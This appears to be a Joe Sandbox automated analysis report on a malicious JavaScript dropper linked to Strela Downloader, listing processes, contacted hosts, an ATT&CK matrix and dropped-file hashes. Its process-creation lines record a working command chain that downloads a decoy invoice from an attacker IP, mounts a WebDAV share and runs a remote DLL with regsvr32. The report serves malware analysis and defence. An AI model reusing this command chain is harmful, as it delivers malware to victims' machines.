Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
25717297553175212150.js	3%	Virustotal		Browse
25717297553175212150.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/e	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/M	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/9	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.43	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/9	net.exe, 0000000D.00000002.1336681573.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1333631376.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1342332993.0000022A7EA70000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2546436685.0000022A7EC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/e	net.exe, 0000000D.00000002.1336681573.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1333631376.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/0	net.exe, 0000000D.00000002.1336247548.0000020552F58000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1336247548.0000020552F58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/M	net.exe, 0000000D.00000002.1336681573.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1333631376.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588603
Start date and time:	2025-01-11 03:01:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	25717297553175212150.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/62@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 23.209.209.135, 3.233.129.217, 52.22.41.97, 3.219.243.226, 52.6.155.20, 217.20.57.43, 2.23.242.162, 2.16.168.107, 2.16.168.105, 184.28.90.27, 23.200.0.32, 23.200.0.21, 23.200.0.18, 23.200.0.34, 23.200.0.23, 13.107.246.45, 54.224.241.105, 20.109.210.53, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:02:38	API Interceptor	25x Sleep call for process: powershell.exe modified
21:02:43	API Interceptor	1x Sleep call for process: net.exe modified
21:02:43	API Interceptor	2x Sleep call for process: svchost.exe modified
21:02:51	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1055116600916029869.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4328285711855619485.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5442228522728832446.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	78786270533822124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066942965919191
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq3:2JIB/wUKUKQncEmYRTwh0z
MD5:	51BA36EE4B97C93228BCF48A64C6E77F
SHA1:	0ABCF7DAEE8034FAA41B6DF6520C0252A987B3F1
SHA-256:	3853DC11F982561AA9CE27FCB5CF0F335C3CAD12B5645D31155C2A2FDC4D29B0
SHA-512:	61D7946D2ED8FE83F1F032C4711E9A0B205C44BE803CDE6148EDF946155A026403E9E5C08AF120DCCC7E507AA3AEA986444857CD9EFDBD97188948A2C6961920
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x62322e69, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899788608711686
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:LazaPvgurTd42UgSii
MD5:	D266472692C3470119F7FAE8A1DF18AE
SHA1:	A676BCA863E489E225633D824AAA61A3A5E5FDD0
SHA-256:	0D20234910E6321485D5CD83EC8190CCF11A603BF5789E7DF229E40F20819DE4
SHA-512:	CFD39921DC309C42425DB9632DB469A12C729AB17B8C1CF2FDFBCE9B4820552FED32E4803D37964740995ED73E83DDD9DD307CC1001A0CD75F7A7EE43D48E25C
Malicious:	false
Preview:	b2.i... ...............X\...;...{......................0.`.....42...{5.,....}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................< .,....}....................9.,....}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08195602993982135
Encrypted:	false
SSDEEP:	3:f6Ye+pRXht/57Dek3Jotlll/lollEqW3l/TjzzQ/t:CzYR3tYGmd8/
MD5:	46C951CBBEAC1354E16D9E60F31BEE18
SHA1:	B720252033892D66B094E459D0A94AF16CDFE1AD
SHA-256:	27C17F3805E57C786DE4BCDB293688F92AC2AB14702A4FF14B7639FA4E4411F4
SHA-512:	2EAA0742E77BCCDA0BA9A45079E869856BCF3038FD9FA609DFC1AB1DF62E2B5D4A4F0185D7D343CB3943F976F57DE86FA009C709DFE069A5D3059673E9B5B2B3
Malicious:	false
Preview:	.........................................;...{..,....}..42...{5.........42...{5.42...{5...Y.42...{59..................9.,....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.219545949535616
Encrypted:	false
SSDEEP:	6:iO4qGd74Q+q2PcNwi2nKuAl9OmbnIFUtSqGdE2SgZmwsqGdE2SQVkwOcNwi2nKui:7kkQ+vLZHAahFUtyE2Sg/YE2SQV54ZHi
MD5:	152A5E593D273F8B685F69BE4B8B4389
SHA1:	1EB032505D5192C72E7F4233F154565FA5F79FF0
SHA-256:	9AE6DDAA8B341436E764C7FE20545535C0FBA166CEEB8B82442F64D047844F25
SHA-512:	9ACACACF270F52368145E0C41EAE4EE4F464D7E04B82839D7D10F73DC2B1BA52D3A22EBD9A1A566989CEECCE4FC12929EA888B7423CE1CFBC9E7C49F66B101D3
Malicious:	false
Preview:	2025/01/10-21:02:43.926 1e7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:02:43.928 1e7c Recovering log #3.2025/01/10-21:02:43.928 1e7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.219545949535616
Encrypted:	false
SSDEEP:	6:iO4qGd74Q+q2PcNwi2nKuAl9OmbnIFUtSqGdE2SgZmwsqGdE2SQVkwOcNwi2nKui:7kkQ+vLZHAahFUtyE2Sg/YE2SQV54ZHi
MD5:	152A5E593D273F8B685F69BE4B8B4389
SHA1:	1EB032505D5192C72E7F4233F154565FA5F79FF0
SHA-256:	9AE6DDAA8B341436E764C7FE20545535C0FBA166CEEB8B82442F64D047844F25
SHA-512:	9ACACACF270F52368145E0C41EAE4EE4F464D7E04B82839D7D10F73DC2B1BA52D3A22EBD9A1A566989CEECCE4FC12929EA888B7423CE1CFBC9E7C49F66B101D3
Malicious:	false
Preview:	2025/01/10-21:02:43.926 1e7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:02:43.928 1e7c Recovering log #3.2025/01/10-21:02:43.928 1e7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.212275775989228
Encrypted:	false
SSDEEP:	6:iO4qGdwalVq2PcNwi2nKuAl9Ombzo2jMGIFUtSqGdggZmwsqGdsO0IkwOcNwi2ng:7kwalVvLZHAa8uFUtygg/YCI54ZHAa8z
MD5:	169182E78EBC7675D81B5F1031136B18
SHA1:	837D18A403D2EA98DBFDC03C6C92BFAC439DCF93
SHA-256:	CDC90F4F0675FA6FDC277F6E04DA2DE554F620272CCE9BAD64F855EF02B7C52B
SHA-512:	AD30532BB10726B81C1A74C2334BE3217404A27640B21EC7F98B5E49C5D0A58BFF142129439ED2414C67A15A32171B8C97CC31D00F48A62B2FF5A5738033B229
Malicious:	false
Preview:	2025/01/10-21:02:43.943 1f74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:02:43.944 1f74 Recovering log #3.2025/01/10-21:02:43.946 1f74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.212275775989228
Encrypted:	false
SSDEEP:	6:iO4qGdwalVq2PcNwi2nKuAl9Ombzo2jMGIFUtSqGdggZmwsqGdsO0IkwOcNwi2ng:7kwalVvLZHAa8uFUtygg/YCI54ZHAa8z
MD5:	169182E78EBC7675D81B5F1031136B18
SHA1:	837D18A403D2EA98DBFDC03C6C92BFAC439DCF93
SHA-256:	CDC90F4F0675FA6FDC277F6E04DA2DE554F620272CCE9BAD64F855EF02B7C52B
SHA-512:	AD30532BB10726B81C1A74C2334BE3217404A27640B21EC7F98B5E49C5D0A58BFF142129439ED2414C67A15A32171B8C97CC31D00F48A62B2FF5A5738033B229
Malicious:	false
Preview:	2025/01/10-21:02:43.943 1f74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:02:43.944 1f74 Recovering log #3.2025/01/10-21:02:43.946 1f74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF691202.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\dd468030-0794-478c-a285-db66bbcadcc6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969760522051925
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqMsBdOg2HK+2caq3QYiubSpDyP7E4T3y:Y2sRdsIdMHK+J3QYhbSpDa7nby
MD5:	F3CF06984D076037E1D0892C138DA48C
SHA1:	21A18F9579743EC298B1425AA2106C5E6AE23490
SHA-256:	3DBE3A72BD89B0E947F4BA01BE3EAD56149DB2AF5902904013707ED87D6270D3
SHA-512:	2C3263341D8291F856BBC88DC2A43BB279FEBD2014BA3824199C1DB8FC78B19F54EAD2E55DC59178633541F04446712FD9A6B038DB2BD07341E5878C22870900
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381120974916081","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126474},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e1f8ad46-5eae-428a-aa45-cc43cb10f770.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
